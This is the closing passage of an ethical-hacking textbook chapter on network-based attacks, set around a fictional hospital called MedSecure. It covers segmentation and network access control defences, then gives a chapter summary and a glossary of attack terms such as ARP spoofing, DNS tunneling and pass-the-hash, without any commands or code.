Layer 7 Monitoring: - Application-layer IDS - Web Application Firewalls - SSL/TLS inspection (with appropriate privacy considerations) - Email security gateways

13.8.2 Network Segmentation Best Practices

For MedSecure, proper segmentation is a critical defense:

[Internet] --- [Perimeter FW] --- [DMZ]
                     |
              [Internal FW]
                     |
    +--------+-------+-------+--------+
    |        |       |       |        |
 [Clinical] [Admin] [Server] [Guest] [Mgmt]
  VLAN 10   VLAN 20 VLAN 40  VLAN 30 VLAN 50
    |
[Medical Device Subnet]
  192.168.1.0/24

Key segmentation principles: - Least privilege routing — Only allow traffic between VLANs that is specifically needed - Microsegmentation — Within VLANs, further restrict communication between individual systems - Zero Trust — Assume any network segment could be compromised; authenticate and authorize every connection - East-West inspection — Monitor traffic between internal segments, not just North-South (Internet) traffic

13.8.3 Implementing Network Access Control (NAC)

NAC solutions enforce security policies before granting network access:

  1. Pre-admission — Device is assessed before being granted access (OS patches, antivirus status, compliance)
  2. Post-admission — Device behavior is monitored after admission; non-compliant devices are quarantined
  3. 802.1X — Port-based authentication ensures only authorized devices connect

For MedSecure, NAC can ensure that only approved medical devices connect to the clinical VLAN, and personal devices are automatically redirected to the guest network.


Chapter Summary

This chapter explored the major categories of network-based attacks that ethical hackers must understand and test during security assessments. We began with ARP spoofing—the foundation for local network MITM attacks—and showed how an attacker can silently intercept all traffic between a victim and their gateway.

We examined DNS attacks, from simple spoofing to sophisticated cache poisoning and the covert data exfiltration channel provided by DNS tunneling. Layer 2 attacks, including VLAN hopping, CAM table overflow, and STP manipulation, demonstrated that network segmentation is only as strong as the switch configuration that enforces it.

Lateral movement techniques showed how attackers expand from a single compromised system to dominate an entire network, using tools like PsExec, WMI, PowerShell remoting, and credential relay attacks. We explored traffic interception and manipulation, session hijacking, and the particular risks these attacks pose to healthcare environments like MedSecure.

Throughout, we paired every attack with its defensive counterpart. The central lesson is that defense in depth—combining Layer 2 hardening, network segmentation, encryption, monitoring, and access control—is essential to protect against network-based attacks. No single control is sufficient.

In Chapter 14, we will turn our attention to password attacks and authentication bypass—techniques that target the most fundamental security mechanism: identity verification.


Key Terms

Term Definition
ARP Spoofing Sending forged ARP replies to associate the attacker's MAC with another host's IP
Man-in-the-Middle (MITM) Positioning between two communicating parties to intercept or modify traffic
SSL Stripping Downgrading HTTPS connections to HTTP by intercepting the initial redirect
HSTS HTTP header that forces browsers to use HTTPS for a domain
DNS Spoofing Providing forged DNS responses to redirect traffic
DNS Cache Poisoning Corrupting a DNS resolver's cache to affect all its clients
DNS Tunneling Encoding data within DNS queries for covert exfiltration
VLAN Hopping Bypassing VLAN segmentation through switch spoofing or double tagging
CAM Table Overflow Flooding a switch's MAC address table to force hub-like behavior
Lateral Movement Expanding access from one compromised system to others
Pass-the-Hash Authenticating using an NTLM hash instead of a plaintext password
Pass-the-Ticket Authenticating using a stolen Kerberos ticket
Responder Tool that poisons name resolution protocols to capture NTLM hashes
DAI Dynamic ARP Inspection — switch feature that validates ARP packets
Microsegmentation Fine-grained network segmentation between individual workloads